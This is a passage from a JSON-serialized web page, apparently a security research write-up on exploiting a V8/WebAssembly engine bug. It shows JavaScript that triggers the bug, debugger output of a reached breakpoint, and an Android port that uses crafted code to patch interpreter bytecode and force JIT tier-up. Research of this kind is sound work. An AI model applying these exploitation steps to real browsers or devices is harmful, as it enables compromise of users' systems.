g":271,"props":142565,"children":142566},{"style":477},[142567],{"type":29,"value":4121},{"type":24,"tag":271,"props":142569,"children":142570},{"style":288},[142571],{"type":29,"value":158},{"type":24,"tag":271,"props":142573,"children":142574},{"style":477},[142575],{"type":29,"value":4121},{"type":24,"tag":271,"props":142577,"children":142578},{"style":288},[142579],{"type":29,"value":158},{"type":24,"tag":271,"props":142581,"children":142582},{"style":477},[142583],{"type":29,"value":4121},{"type":24,"tag":271,"props":142585,"children":142586},{"style":288},[142587],{"type":29,"value":158},{"type":24,"tag":271,"props":142589,"children":142590},{"style":477},[142591],{"type":29,"value":4121},{"type":24,"tag":271,"props":142593,"children":142594},{"style":288},[142595],{"type":29,"value":158},{"type":24,"tag":271,"props":142597,"children":142598},{"style":477},[142599],{"type":29,"value":4121},{"type":24,"tag":271,"props":142601,"children":142602},{"style":288},[142603],{"type":29,"value":158},{"type":24,"tag":271,"props":142605,"children":142606},{"style":477},[142607],{"type":29,"value":4121},{"type":24,"tag":271,"props":142609,"children":142610},{"style":288},[142611],{"type":29,"value":158},{"type":24,"tag":271,"props":142613,"children":142614},{"style":477},[142615],{"type":29,"value":4121},{"type":24,"tag":271,"props":142617,"children":142618},{"style":288},[142619],{"type":29,"value":158},{"type":24,"tag":271,"props":142621,"children":142622},{"style":477},[142623],{"type":29,"value":4121},{"type":24,"tag":271,"props":142625,"children":142626},{"style":288},[142627],{"type":29,"value":158},{"type":24,"tag":271,"props":142629,"children":142630},{"style":477},[142631],{"type":29,"value":4121},{"type":24,"tag":271,"props":142633,"children":142634},{"style":288},[142635],{"type":29,"value":158},{"type":24,"tag":271,"props":142637,"children":142638},{"style":477},[142639],{"type":29,"value":4121},{"type":24,"tag":271,"props":142641,"children":142642},{"style":288},[142643],{"type":29,"value":158},{"type":24,"tag":271,"props":142645,"children":142646},{"style":477},[142647],{"type":29,"value":4121},{"type":24,"tag":271,"props":142649,"children":142650},{"style":288},[142651],{"type":29,"value":158},{"type":24,"tag":271,"props":142653,"children":142654},{"style":477},[142655],{"type":29,"value":4121},{"type":24,"tag":271,"props":142657,"children":142658},{"style":288},[142659],{"type":29,"value":158},{"type":24,"tag":271,"props":142661,"children":142662},{"style":477},[142663],{"type":29,"value":4121},{"type":24,"tag":271,"props":142665,"children":142666},{"style":288},[142667],{"type":29,"value":158},{"type":24,"tag":271,"props":142669,"children":142670},{"style":477},[142671],{"type":29,"value":4121},{"type":24,"tag":271,"props":142673,"children":142674},{"style":288},[142675],{"type":29,"value":158},{"type":24,"tag":271,"props":142677,"children":142678},{"style":477},[142679],{"type":29,"value":37097},{"type":24,"tag":271,"props":142681,"children":142682},{"style":288},[142683],{"type":29,"value":158},{"type":24,"tag":271,"props":142685,"children":142686},{"style":477},[142687],{"type":29,"value":142240},{"type":24,"tag":271,"props":142689,"children":142690},{"style":288},[142691],{"type":29,"value":158},{"type":24,"tag":271,"props":142693,"children":142694},{"style":477},[142695],{"type":29,"value":142696},"198",{"type":24,"tag":271,"props":142698,"children":142699},{"style":288},[142700],{"type":29,"value":158},{"type":24,"tag":271,"props":142702,"children":142703},{"style":477},[142704],{"type":29,"value":4121},{"type":24,"tag":271,"props":142706,"children":142707},{"style":288},[142708],{"type":29,"value":638},{"type":24,"tag":271,"props":142710,"children":142711},{"class":273,"line":384},[142712],{"type":24,"tag":271,"props":142713,"children":142714},{"style":288},[142715],{"type":29,"value":141274},{"type":24,"tag":271,"props":142717,"children":142718},{"class":273,"line":393},[142719,142723,142728,142732,142737,142741,142745,142749,142753,142757,142761],{"type":24,"tag":271,"props":142720,"children":142721},{"style":278},[142722],{"type":29,"value":15571},{"type":24,"tag":271,"props":142724,"children":142725},{"style":630},[142726],{"type":29,"value":142727}," r",{"type":24,"tag":271,"props":142729,"children":142730},{"style":624},[142731],{"type":29,"value":1712},{"type":24,"tag":271,"props":142733,"children":142734},{"style":598},[142735],{"type":29,"value":142736}," bug",{"type":24,"tag":271,"props":142738,"children":142739},{"style":288},[142740],{"type":29,"value":606},{"type":24,"tag":271,"props":142742,"children":142743},{"style":630},[142744],{"type":29,"value":140605},{"type":24,"tag":271,"props":142746,"children":142747},{"style":288},[142748],{"type":29,"value":158},{"type":24,"tag":271,"props":142750,"children":142751},{"style":630},[142752],{"type":29,"value":131932},{"type":24,"tag":271,"props":142754,"children":142755},{"style":288},[142756],{"type":29,"value":41},{"type":24,"tag":271,"props":142758,"children":142759},{"style":630},[142760],{"type":29,"value":131932},{"type":24,"tag":271,"props":142762,"children":142763},{"style":288},[142764],{"type":29,"value":1155},{"type":24,"tag":271,"props":142766,"children":142767},{"class":273,"line":402},[142768,142773,142777,142781,142785,142789,142793,142797,142802,142806],{"type":24,"tag":271,"props":142769,"children":142770},{"style":630},[142771],{"type":29,"value":142772}," result",{"type":24,"tag":271,"props":142774,"children":142775},{"style":624},[142776],{"type":29,"value":1712},{"type":24,"tag":271,"props":142778,"children":142779},{"style":288},[142780],{"type":29,"value":1357},{"type":24,"tag":271,"props":142782,"children":142783},{"style":749},[142784],{"type":29,"value":40586},{"type":24,"tag":271,"props":142786,"children":142787},{"style":630},[142788],{"type":29,"value":142727},{"type":24,"tag":271,"props":142790,"children":142791},{"style":288},[142792],{"type":29,"value":41},{"type":24,"tag":271,"props":142794,"children":142795},{"style":598},[142796],{"type":29,"value":7218},{"type":24,"tag":271,"props":142798,"children":142799},{"style":288},[142800],{"type":29,"value":142801},"()).",{"type":24,"tag":271,"props":142803,"children":142804},{"style":630},[142805],{"type":29,"value":46820},{"type":24,"tag":271,"props":142807,"children":142808},{"style":288},[142809],{"type":29,"value":1069},{"type":24,"tag":271,"props":142811,"children":142812},{"class":273,"line":411},[142813,142817,142822,142826,142830,142834,142838,142842,142846,142850],{"type":24,"tag":271,"props":142814,"children":142815},{"style":278},[142816],{"type":29,"value":43856},{"type":24,"tag":271,"props":142818,"children":142819},{"style":630},[142820],{"type":29,"value":142821}," wasm_instance",{"type":24,"tag":271,"props":142823,"children":142824},{"style":624},[142825],{"type":29,"value":1712},{"type":24,"tag":271,"props":142827,"children":142828},{"style":278},[142829],{"type":29,"value":39603},{"type":24,"tag":271,"props":142831,"children":142832},{"style":630},[142833],{"type":29,"value":140588},{"type":24,"tag":271,"props":142835,"children":142836},{"style":288},[142837],{"type":29,"value":41},{"type":24,"tag":271,"props":142839,"children":142840},{"style":598},[142841],{"type":29,"value":140642},{"type":24,"tag":271,"props":142843,"children":142844},{"style":288},[142845],{"type":29,"value":606},{"type":24,"tag":271,"props":142847,"children":142848},{"style":630},[142849],{"type":29,"value":16793},{"type":24,"tag":271,"props":142851,"children":142852},{"style":288},[142853],{"type":29,"value":1155},{"type":24,"tag":271,"props":142855,"children":142856},{"class":273,"line":420},[142857,142861,142865,142869,142873,142877,142881,142885,142889],{"type":24,"tag":271,"props":142858,"children":142859},{"style":278},[142860],{"type":29,"value":43856},{"type":24,"tag":271,"props":142862,"children":142863},{"style":630},[142864],{"type":29,"value":896},{"type":24,"tag":271,"props":142866,"children":142867},{"style":624},[142868],{"type":29,"value":1712},{"type":24,"tag":271,"props":142870,"children":142871},{"style":630},[142872],{"type":29,"value":142821},{"type":24,"tag":271,"props":142874,"children":142875},{"style":288},[142876],{"type":29,"value":41},{"type":24,"tag":271,"props":142878,"children":142879},{"style":630},[142880],{"type":29,"value":45554},{"type":24,"tag":271,"props":142882,"children":142883},{"style":288},[142884],{"type":29,"value":41},{"type":24,"tag":271,"props":142886,"children":142887},{"style":630},[142888],{"type":29,"value":140691},{"type":24,"tag":271,"props":142890,"children":142891},{"style":288},[142892],{"type":29,"value":1069},{"type":24,"tag":271,"props":142894,"children":142895},{"class":273,"line":429},[142896,142901],{"type":24,"tag":271,"props":142897,"children":142898},{"style":598},[142899],{"type":29,"value":142900}," f",{"type":24,"tag":271,"props":142902,"children":142903},{"style":288},[142904],{"type":29,"value":4230},{"type":24,"tag":271,"props":142906,"children":142907},{"class":273,"line":438},[142908],{"type":24,"tag":271,"props":142909,"children":142910},{"style":288},[142911],{"type":29,"value":108775},{"type":24,"tag":25,"props":142913,"children":142914},{},[142915],{"type":29,"value":142916},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":261,"props":142918,"children":142920},{"code":142919},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[142921],{"type":24,"tag":135,"props":142922,"children":142923},{"__ignoreMap":7},[142924],{"type":29,"value":142919},{"type":24,"tag":85,"props":142926,"children":142928},{"id":142927},"porting-to-android",[142929],{"type":29,"value":142930},"Porting to Android",{"type":24,"tag":25,"props":142932,"children":142933},{},[142934,142936,142941,142943,142948,142950,142955,142957,142963],{"type":29,"value":142935},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":135,"props":142937,"children":142939},{"className":142938},[],[142940],{"type":29,"value":139720},{"type":29,"value":142942}," fails. We cross-compiled ",{"type":24,"tag":135,"props":142944,"children":142946},{"className":142945},[],[142947],{"type":29,"value":138879},{"type":29,"value":142949}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":135,"props":142951,"children":142953},{"className":142952},[],[142954],{"type":29,"value":139720},{"type":29,"value":142956}," returned ",{"type":24,"tag":135,"props":142958,"children":142960},{"className":142959},[],[142961],{"type":29,"value":142962},"undefined",{"type":29,"value":41},{"type":24,"tag":25,"props":142965,"children":142966},{},[142967,142969,142974,142976,142981],{"type":29,"value":142968},"Instead, we modified the bytecode to call ",{"type":24,"tag":135,"props":142970,"children":142972},{"className":142971},[],[142973],{"type":29,"value":139746},{"type":29,"value":142975}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":135,"props":142977,"children":142979},{"className":142978},[],[142980],{"type":29,"value":139720},{"type":29,"value":41},{"type":24,"tag":261,"props":142983,"children":142985},{"code":142984,"language":43283,"meta":7,"className":43281,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[142986],{"type":24,"tag":135,"props":142987,"children":142988},{"__ignoreMap":7},[142989,143000,143044,143064,143080,143103,143130,143145],{"type":24,"tag":271,"props":142990,"children":142991},{"class":273,"line":274},[142992,142996],{"type":24,"tag":271,"props":142993,"children":142994},{"style":749},[142995],{"type":29,"value":55998},{"type":24,"tag":271,"props":142997,"children":142998},{"style":288},[142999],{"type":29,"value":7145},{"type":24,"tag":271,"props":143001,"children":143002},{"class":273,"line":284},[143003,143007,143011,143015,143019,143023,143027,143032,143036,143040],{"type":24,"tag":271,"props":143004,"children":143005},{"style":630},[143006],{"type":29,"value":139987},{"type":24,"tag":271,"props":143008,"children":143009},{"style":288},[143010],{"type":29,"value":83408},{"type":24,"tag":271,"props":143012,"children":143013},{"style":378},[143014],{"type":29,"value":139996},{"type":24,"tag":271,"props":143016,"children":143017},{"style":288},[143018],{"type":29,"value":41},{"type":24,"tag":271,"props":143020,"children":143021},{"style":598},[143022],{"type":29,"value":140005},{"type":24,"tag":271,"props":143024,"children":143025},{"style":288},[143026],{"type":29,"value":606},{"type":24,"tag":271,"props":143028,"children":143029},{"style":477},[143030],{"type":29,"value":143031},"0x059301",{"type":24,"tag":271,"props":143033,"children":143034},{"style":624},[143035],{"type":29,"value":819},{"type":24,"tag":271,"props":143037,"children":143038},{"style":477},[143039],{"type":29,"value":824},{"type":24,"tag":271,"props":143041,"children":143042},{"style":288},[143043],{"type":29,"value":140027},{"type":24,"tag":271,"props":143045,"children":143046},{"class":273,"line":294},[143047,143051,143055,143060],{"type":24,"tag":271,"props":143048,"children":143049},{"style":630},[143050],{"type":29,"value":140035},{"type":24,"tag":271,"props":143052,"children":143053},{"style":624},[143054],{"type":29,"value":4253},{"type":24,"tag":271,"props":143056,"children":143057},{"style":477},[143058],{"type":29,"value":143059}," 0x03027a6c",{"type":24,"tag":271,"props":143061,"children":143062},{"style":288},[143063],{"type":29,"value":1069},{"type":24,"tag":271,"props":143065,"children":143066},{"class":273,"line":303},[143067,143071,143076],{"type":24,"tag":271,"props":143068,"children":143069},{"style":749},[143070],{"type":29,"value":42869},{"type":24,"tag":271,"props":143072,"children":143073},{"style":477},[143074],{"type":29,"value":143075}," 0x393e71a",{"type":24,"tag":271,"props":143077,"children":143078},{"style":288},[143079],{"type":29,"value":1069},{"type":24,"tag":271,"props":143081,"children":143082},{"class":273,"line":312},[143083,143087,143091,143095,143099],{"type":24,"tag":271,"props":143084,"children":143085},{"style":288},[143086],{"type":29,"value":54540},{"type":24,"tag":271,"props":143088,"children":143089},{"style":749},[143090],{"type":29,"value":56076},{"type":24,"tag":271,"props":143092,"children":143093},{"style":288},[143094],{"type":29,"value":1357},{"type":24,"tag":271,"props":143096,"children":143097},{"style":630},[143098],{"type":29,"value":1026},{"type":24,"tag":271,"props":143100,"children":143101},{"style":288},[143102],{"type":29,"value":919},{"type":24,"tag":271,"props":143104,"children":143105},{"class":273,"line":321},[143106,143110,143114,143118,143122,143126],{"type":24,"tag":271,"props":143107,"children":143108},{"style":630},[143109],{"type":29,"value":108734},{"type":24,"tag":271,"props":143111,"children":143112},{"style":288},[143113],{"type":29,"value":41},{"type":24,"tag":271,"props":143115,"children":143116},{"style":598},[143117],{"type":29,"value":108743},{"type":24,"tag":271,"props":143119,"children":143120},{"style":288},[143121],{"type":29,"value":606},{"type":24,"tag":271,"props":143123,"children":143124},{"style":378},[143125],{"type":29,"value":140111},{"type":24,"tag":271,"props":143127,"children":143128},{"style":288},[143129],{"type":29,"value":1155},{"type":24,"tag":271,"props":143131,"children":143132},{"class":273,"line":330},[143133,143137,143141],{"type":24,"tag":271,"props":143134,"children":143135},{"style":749},[143136],{"type":29,"value":140123},{"type":24,"tag":271,"props":143138,"children":143139},{"style":630},[143140],{"type":29,"value":140128},{"type":24,"tag":271,"props":143142,"children":143143},{"style":288},[143144],{"type":29,"value":1069},{"type":24,"tag":271,"props":143146,"children":143147},{"class":273,"line":339},[143148],{"type":24,"tag":271,"props":143149,"children":143150},{"style":288},[143151],{"type":29,"value":1171},{"type":24,"tag":25,"props":143153,"children":143154},{},[143155,143157,143163,143165,143171,143173,143179,143181,143186,143188,143194,143196,143201,143202,143208],{"type":29,"value":143156},"Here, ",{"type":24,"tag":135,"props":143158,"children":143160},{"className":143159},[],[143161],{"type":29,"value":143162},"a1 + 0x03027a6c",{"type":29,"value":143164}," generates the bytes ",{"type":24,"tag":135,"props":143166,"children":143168},{"className":143167},[],[143169],{"type":29,"value":143170},"01 4b 6c 7a 02 03",{"type":29,"value":143172},", where ",{"type":24,"tag":135,"props":143174,"children":143176},{"className":143175},[],[143177],{"type":29,"value":143178},"0x6c",{"type":29,"value":143180}," is the ",{"type":24,"tag":135,"props":143182,"children":143184},{"className":143183},[],[143185],{"type":29,"value":139704},{"type":29,"value":143187}," opcode, ",{"type":24,"tag":135,"props":143189,"children":143191},{"className":143190},[],[143192],{"type":29,"value":143193},"0x027a",{"type":29,"value":143195}," is the function ID of ",{"type":24,"tag":135,"props":143197,"children":143199},{"className":143198},[],[143200],{"type":29,"value":139746},{"type":29,"value":14204},{"type":24,"tag":135,"props":143203,"children":143205},{"className":143204},[],[143206],{"type":29,"value":143207},"0x03",{"type":29,"value":143209}," is the register index holding its first argument.",{"type":24,"tag":25,"props":143211,"children":143212},{},[143213,143215,143220,143221,143226,143228,143233],{"type":29,"value":143214},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":135,"props":143216,"children":143218},{"className":143217},[],[143219],{"type":29,"value":139746},{"type":29,"value":518},{"type":24,"tag":135,"props":143222,"children":143224},{"className":143223},[],[143225],{"type":29,"value":140714},{"type":29,"value":143227},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":135,"props":143229,"children":143231},{"className":143230},[],[143232],{"type":29,"value":140714},{"type":29,"value":143234},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":261,"props":143236,"children":143238},{"code":143237,"language":43283,"meta":7,"className":43281,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[143239],{"type":24,"tag":135,"props":143240,"children":143241},{"__ignoreMap":7},[143242,143250,143310,143322],{"type":24,"tag":271,"props":143243,"children":143244},{"class":273,"line":274},[143245],{"type":24,"tag":271,"props":143246,"children":143247},{"style":2058},[143248],{"type":29,"value":143249},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":271,"props":143251,"children":143252},{"class":273,"line":284},[143253,143257,143261,143265,143269,143273,143277,143281,143285,143289,143294,143298,143302,143306],{"type":24,"tag":271,"props":143254,"children":143255},{"style":749},[143256],{"type":29,"value":11120},{"type":24,"tag":271,"props":143258,"children":143259},{"style":288},[143260],{"type":29,"value":1357},{"type":24,"tag":271,"props":143262,"children":143263},{"style":278},[143264],{"type":29,"value":19490},{"type":24,"tag":271,"props":143266,"children":143267},{"style":630},[143268],{"type":29,"value":11125},{"type":24,"tag":271,"props":143270,"children":143271},{"style":624},[143272],{"type":29,"value":1712},{"type":24,"tag":271,"props":143274,"children":143275},{"style":477},[143276],{"type":29,"value":767},{"type":24,"tag":271,"props":143278,"children":143279},{"style":288},[143280],{"type":29,"value":24920},{"type":24,"tag":271,"props":143282,"children":143283},{"style":630},[143284],{"type":29,"value":11462},{"type":24,"tag":271,"props":143286,"children":143287},{"style":624},[143288],{"type":29,"value":16432},{"type":24,"tag":271,"props":143290,"children":143291},{"style":477},[143292],{"type":29,"value":143293}," 0x100000",{"type":24,"tag":271,"props":143295,"children":143296},{"style":288},[143297],{"type":29,"value":24920},{"type":24,"tag":271,"props":143299,"children":143300},{"style":630},[143301],{"type":29,"value":11462},{"type":24,"tag":271,"props":143303,"children":143304},{"style":624},[143305],{"type":29,"value":834},{"type":24,"tag":271,"props":143307,"children":143308},{"style":288},[143309],{"type":29,"value":919},{"type":24,"tag":271,"props":143311,"children":143312},{"class":273,"line":294},[143313,143318],{"type":24,"tag":271,"props":143314,"children":143315},{"style":598},[143316],{"type":29,"value":143317}," func",{"type":24,"tag":271,"props":143319,"children":143320},{"style":288},[143321],{"type":29,"value":4230},{"type":24,"tag":271,"props":143323,"children":143324},{"class":273,"line":303},[143325],{"type":24,"tag":271,"props":143326,"children":143327},{"style":288},[143328],{"type":29,"value":1171},{"type":24,"tag":25,"props":143330,"children":143331},{},[143332],{"type":29,"value":143333},"Finally, running this code on the device:",{"type":24,"tag":261,"props":143335,"children":143337},{"code":143336,"language":43283,"meta":7,"className":43281,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[143338],{"type":24,"tag":135,"props":143339,"children":143340},{"__ignoreMap":7},[143341,143364,143392,143611,143678,143685,143728,143771,143810,143817,143825,143885,143897,143904,143911,143942,143985,144012,144019,144055,144118],{"type":24,"tag":271,"props":143342,"children":143343},{"class":273,"line":274},[143344,143348,143352,143356,143360],{"type":24,"tag":271,"props":143345,"children":143346},{"style":288},[143347],{"type":29,"value":606},{"type":24,"tag":271,"props":143349,"children":143350},{"style":278},[143351],{"type":29,"value":43813},{"type":24,"tag":271,"props":143353,"children":143354},{"style":288},[143355],{"type":29,"value":47364},{"type":24,"tag":271,"props":143357,"children":143358},{"style":278},[143359],{"type":29,"value":22519},{"type":24,"tag":271,"props":143361,"children":143362},{"style":288},[143363],{"type":29,"value":7145},{"type":24,"tag":271,"props":143365,"children":143366},{"class":273,"line":284},[143367,143372,143376,143380,143384,143388],{"type":24,"tag":271,"props":143368,"children":143369},{"style":278},[143370],{"type":29,"value":143371}," var",{"type":24,"tag":271,"props":143373,"children":143374},{"style":630},[143375],{"type":29,"value":140244},{"type":24,"tag":271,"props":143377,"children":143378},{"style":624},[143379],{"type":29,"value":1712},{"type":24,"tag":271,"props":143381,"children":143382},{"style":278},[143383],{"type":29,"value":39603},{"type":24,"tag":271,"props":143385,"children":143386},{"style":598},[143387],{"type":29,"value":140257},{"type":24,"tag":271,"props":143389,"children":143390},{"style":288},[143391],{"type":29,"value":140262},{"type":24,"tag":271,"props":143393,"children":143394},{"class":273,"line":294},[143395,143399,143403,143407,143411,143415,143419,143423,143427,143431,143435,143439,143443,143447,143451,143455,143459,143463,143467,143471,143475,143479,143483,143487,143491,143495,143499,143503,143507,143511,143515,143519,143523,143527,143531,143535,143539,143543,143547,143551,143555,143559,143563,143567,143571,143575,143579,143583,143587,143591,143595,143599,143603,143607],{"type":24,"tag":271,"props":143396,"children":143397},{"style":477},[143398],{"type":29,"value":140987},{"type":24,"tag":271,"props":143400,"children":143401},{"style":288},[143402],{"type":29,"value":158},{"type":24,"tag":271,"props":143404,"children":143405},{"style":477},[143406],{"type":29,"value":140279},{"type":24,"tag":271,"props":143408,"children":143409},{"style":288},[143410],{"type":29,"value":158},{"type":24,"tag":271,"props":143412,"children":143413},{"style":477},[143414],{"type":29,"value":140288},{"type":24,"tag":271,"props":143416,"children":143417},{"style":288},[143418],{"type":29,"value":158},{"type":24,"tag":271,"props":143420,"children":143421},{"style":477},[143422],{"type":29,"value":140297},{"type":24,"tag":271,"props":143424,"children":143425},{"style":288},[143426],{"type":29,"value":158},{"type":24,"tag":271,"props":143428,"children":143429},{"style":477},[143430],{"type":29,"value":156},{"type":24,"tag":271,"props":143432,"children":143433},{"style":288},[143434],{"type":29,"value":158},{"type":24,"tag":271,"props":143436,"children":143437},{"style":477},[143438],{"type":29,"value":4121},{"type":24,"tag":271,"props":143440,"children":143441},{"style":288},[143442],{"type":29,"value":158},{"type":24,"tag":271,"props":143444,"children":143445},{"style":477},[143446],{"type":29,"value":4121},{"type":24,"tag":271,"props":143448,"children":143449},{"style":288},[143450],{"type":29,"value":158},{"type":24,"tag":271,"props":143452,"children":143453},{"style":477},[143454],{"type":29,"value":4121},{"type":24,"tag":271,"props":143456,"children":143457},{"style":288},[143458],{"type":29,"value":158},{"type":24,"tag":271,"props":143460,"children":143461},{"style":477},[143462],{"type":29,"value":156},{"type":24,"tag":271,"props":143464,"children":143465},{"style":288},[143466],{"type":29,"value":158},{"type":24,"tag":271,"props":143468,"children":143469},{"style":477},[143470],{"type":29,"value":3365},{"type":24,"tag":271,"props":143472,"children":143473},{"style":288},[143474],{"type":29,"value":158},{"type":24,"tag":271,"props":143476,"children":143477},{"style":477},[143478],{"type":29,"value":156},{"type":24,"tag":271,"props":143480,"children":143481},{"style":288},[143482],{"type":29,"value":158},{"type":24,"tag":271,"props":143484,"children":143485},{"style":477},[143486],{"type":29,"value":140362},{"type":24,"tag":271,"props":143488,"children":143489},{"style":288},[143490],{"type":29,"value":158},{"type":24,"tag":271,"props":143492,"children":143493},{"style":477},[143494],{"type":29,"value":4121},{"type":24,"tag":271,"props":143496,"children":143497},{"style":288},[143498],{"type":29,"value":158},{"type":24,"tag":271,"props":143500,"children":143501},{"style":477},[143502],{"type":29,"value":4121},{"type":24,"tag":271,"props":143504,"children":143505},{"style":288},[143506],{"type":29,"value":158},{"type":24,"tag":271,"props":143508,"children":143509},{"style":477},[143510],{"type":29,"value":4525},{"type":24,"tag":271,"props":143512,"children":143513},{"style":288},[143514],{"type":29,"value":158},{"type":24,"tag":271,"props":143516,"children":143517},{"style":477},[143518],{"type":29,"value":165},{"type":24,"tag":271,"props":143520,"children":143521},{"style":288},[143522],{"type":29,"value":158},{"type":24,"tag":271,"props":143524,"children":143525},{"style":477},[143526],{"type":29,"value":156},{"type":24,"tag":271,"props":143528,"children":143529},{"style":288},[143530],{"type":29,"value":158},{"type":24,"tag":271,"props":143532,"children":143533},{"style":477},[143534],{"type":29,"value":4121},{"type":24,"tag":271,"props":143536,"children":143537},{"style":288},[143538],{"type":29,"value":158},{"type":24,"tag":271,"props":143540,"children":143541},{"style":477},[143542],{"type":29,"value":4293},{"type":24,"tag":271,"props":143544,"children":143545},{"style":288},[143546],{"type":29,"value":158},{"type":24,"tag":271,"props":143548,"children":143549},{"style":477},[143550],{"type":29,"value":5530},{"type":24,"tag":271,"props":143552,"children":143553},{"style":288},[143554],{"type":29,"value":158},{"type":24,"tag":271,"props":143556,"children":143557},{"style":477},[143558],{"type":29,"value":156},{"type":24,"tag":271,"props":143560,"children":143561},{"style":288},[143562],{"type":29,"value":158},{"type":24,"tag":271,"props":143564,"children":143565},{"style":477},[143566],{"type":29,"value":8686},{"type":24,"tag":271,"props":143568,"children":143569},{"style":288},[143570],{"type":29,"value":158},{"type":24,"tag":271,"props":143572,"children":143573},{"style":477},[143574],{"type":29,"value":140288},{"type":24,"tag":271,"props":143576,"children":143577},{"style":288},[143578],{"type":29,"value":158},{"type":24,"tag":271,"props":143580,"children":143581},{"style":477},[143582],{"type":29,"value":140459},{"type":24,"tag":271,"props":143584,"children":143585},{"style":288},[143586],{"type":29,"value":158},{"type":24,"tag":271,"props":143588,"children":143589},{"style":477},[143590],{"type":29,"value":140468},{"type":24,"tag":271,"props":143592,"children":143593},{"style":288},[143594],{"type":29,"value":158},{"type":24,"tag":271,"props":143596,"children":143597},{"style":477},[143598],{"type":29,"value":140477},{"type":24,"tag":271,"props":143600,"children":143601},{"style":288},[143602],{"type":29,"value":158},{"type":24,"tag":271,"props":143604,"children":143605},{"style":477},[143606],{"type":29,"value":140477},{"type":24,"tag":271,"props":143608,"children":143609},{"style":288},[143610],{"type":29,"value":638},{"type":24,"tag":271,"props":143612,"children":143613},{"class":273,"line":303},[143614,143618,143622,143626,143630,143634,143638,143642,143646,143650,143654,143658,143662,143666,143670,143674],{"type":24,"tag":271,"props":143615,"children":143616},{"style":477},[143617],{"type":29,"value":140987},{"type":24,"tag":271,"props":143619,"children":143620},{"style":288},[143621],{"type":29,"value":158},{"type":24,"tag":271,"props":143623,"children":143624},{"style":477},[143625],{"type":29,"value":4121},{"type":24,"tag":271,"props":143627,"children":143628},{"style":288},[143629],{"type":29,"value":158},{"type":24,"tag":271,"props":143631,"children":143632},{"style":477},[143633],{"type":29,"value":96043},{"type":24,"tag":271,"props":143635,"children":143636},{"style":288},[143637],{"type":29,"value":158},{"type":24,"tag":271,"props":143639,"children":143640},{"style":477},[143641],{"type":29,"value":3365},{"type":24,"tag":271,"props":143643,"children":143644},{"style":288},[143645],{"type":29,"value":158},{"type":24,"tag":271,"props":143647,"children":143648},{"style":477},[143649],{"type":29,"value":156},{"type":24,"tag":271,"props":143651,"children":143652},{"style":288},[143653],{"type":29,"value":158},{"type":24,"tag":271,"props":143655,"children":143656},{"style":477},[143657],{"type":29,"value":165},{"type":24,"tag":271,"props":143659,"children":143660},{"style":288},[143661],{"type":29,"value":158},{"type":24,"tag":271,"props":143663,"children":143664},{"style":477},[143665],{"type":29,"value":4121},{"type":24,"tag":271,"props":143667,"children":143668},{"style":288},[143669],{"type":29,"value":158},{"type":24,"tag":271,"props":143671,"children":143672},{"style":477},[143673],{"type":29,"value":140553},{"type":24,"tag":271,"props":143675,"children":143676},{"style":288},[143677],{"type":29,"value":638},{"type":24,"tag":271,"props":143679,"children":143680},{"class":273,"line":312},[143681],{"type":24,"tag":271,"props":143682,"children":143683},{"style":288},[143684],{"type":29,"value":141274},{"type":24,"tag":271,"props":143686,"children":143687},{"class":273,"line":321},[143688,143692,143696,143700,143704,143708,143712,143716,143720,143724],{"type":24,"tag":271,"props":143689,"children":143690},{"style":278},[143691],{"type":29,"value":143371},{"type":24,"tag":271,"props":143693,"children":143694},{"style":630},[143695],{"type":29,"value":78412},{"type":24,"tag":271,"props":143697,"children":143698},{"style":624},[143699],{"type":29,"value":1712},{"type":24,"tag":271,"props":143701,"children":143702},{"style":278},[143703],{"type":29,"value":39603},{"type":24,"tag":271,"props":143705,"children":143706},{"style":630},[143707],{"type":29,"value":140588},{"type":24,"tag":271,"props":143709,"children":143710},{"style":288},[143711],{"type":29,"value":41},{"type":24,"tag":271,"props":143713,"children":143714},{"style":598},[143715],{"type":29,"value":92709},{"type":24,"tag":271,"props":143717,"children":143718},{"style":288},[143719],{"type":29,"value":606},{"type":24,"tag":271,"props":143721,"children":143722},{"style":630},[143723],{"type":29,"value":140605},{"type":24,"tag":271,"props":143725,"children":143726},{"style":288},[143727],{"type":29,"value":1155},{"type":24,"tag":271,"props":143729,"children":143730},{"class":273,"line":330},[143731,143735,143739,143743,143747,143751,143755,143759,143763,143767],{"type":24,"tag":271,"props":143732,"children":143733},{"style":278},[143734],{"type":29,"value":143371},{"type":24,"tag":271,"props":143736,"children":143737},{"style":630},[143738],{"type":29,"value":140621},{"type":24,"tag":271,"props":143740,"children":143741},{"style":624},[143742],{"type":29,"value":1712},{"type":24,"tag":271,"props":143744,"children":143745},{"style":278},[143746],{"type":29,"value":39603},{"type":24,"tag":271,"props":143748,"children":143749},{"style":630},[143750],{"type":29,"value":140588},{"type":24,"tag":271,"props":143752,"children":143753},{"style":288},[143754],{"type":29,"value":41},{"type":24,"tag":271,"props":143756,"children":143757},{"style":598},[143758],{"type":29,"